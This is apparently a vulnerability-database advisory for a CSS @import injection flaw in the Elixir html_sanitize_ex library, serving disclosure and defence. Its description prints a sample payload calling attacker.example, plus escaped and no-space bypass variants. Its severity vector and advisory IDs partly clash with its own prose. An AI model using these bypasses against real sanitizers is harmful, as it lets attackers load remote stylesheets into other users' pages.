EUVD-2026-54083
GHSA-g72r-5wgp-6532
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered injection requiring no privileges, but a second user must view the output (UI:R); impact is scoped to victims' browsers with low CSS-mediated confidentiality and integrity effects (S:C, C:L, I:L).
Primary rating from Vendor (EEF).
CVSS VectorVendor: EEF
Lifecycle Timeline
2DescriptionCVE.org
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.
Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.
This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
AnalysisAI
CSS at-rule injection in html_sanitize_ex (Elixir, versions 0.3.1-1.5.3) allows unauthenticated remote users to embed @import directives that survive sanitization and are rendered in other users' browsers. The HtmlSanitizeEx.Scrubber.CSS.scrub/1 function applied its allowlist exclusively to property: value declaration patterns; @import at-rules, which are syntactically distinct, were never inspected and passed through verbatim. Three distinct bypass paths existed: bare @import url(...), no-whitespace @import"url", and CSS hex-escaped @\69 mport. No public exploit code is identified at time of analysis; a vendor patch is available as version 1.5.4.
Technical ContextAI
The vulnerability resides in HtmlSanitizeEx.Scrubber.CSS (lib/html_sanitize_ex/scrubber/css.ex), an Elixir module that sanitizes inline CSS by running Regex.replace over substrings matching the property: value declaration pattern and allowlisting only recognized properties and values. Because CSS @import at-rules follow the grammar @import url(...); - not a declaration - they fall entirely outside the regex match window and are copied unchanged to output. CWE-74 (Injection) applies: the library fails to neutralize special CSS constructs before forwarding sanitized text to the browser's CSS parser. Two additional bypass vectors existed: the old strip-import regex required at least one whitespace character (\@import\s+), so @import"url" with no space was not caught, and CSS hex escape sequences (e.g., @\69 mport where \69 decodes to i) were not decoded before pattern matching. The fix in commit 0b9f9ad introduces a decode_escaped_characters/1 pre-pass using a \([0-9A-Fa-f]{1,6}) regex, moves remove_imports/1 outside the property-value loop so it operates on the full CSS text, and relaxes the import-strip regex to \@import\s* (zero or more spaces). CPE: cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*.
RemediationAI
Upgrade html_sanitize_ex to version 1.5.4 or later by updating the version constraint in mix.exs and running mix deps.update html_sanitize_ex. The fix is confirmed in commit 0b9f9ad63a7529d4f2c3c1134c371adc3e654308 (https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308) and the full advisory is at https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7. If an immediate upgrade is not feasible, the most targeted compensating control is to disallow <style> tags in user-submitted content entirely at the application layer before sanitization; this eliminates the injection surface but removes inline CSS support. A narrower alternative is to strip any text beginning with @ inside style content at the application layer, though this is fragile and should be treated as a temporary measure only. There is no known workaround that preserves full CSS functionality while reliably blocking all three bypass variants without applying the patch.
More in Html Sanitize Ex
View allQuadratic CPU and memory exhaustion in html_sanitize_ex affects all applications that accept user-supplied HTML for sani
CPU exhaustion via quadratic regex backtracking in rrrene/html_sanitize_ex, an Elixir HTML sanitization library, allows
html_sanitize_ex's HTML5 scrubber (versions 0.3.1 through 1.5.2) permits the `form` and `formaction` attributes to survi
Open redirect in html_sanitize_ex (Elixir, versions 0.3.1 through 1.5.2) allows remote attackers to force page visitors
html_sanitize_ex's HTML5 scrubber (versions 0.3.1 through before 1.5.3) passes attacker-controlled URIs through the `dat
Same technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today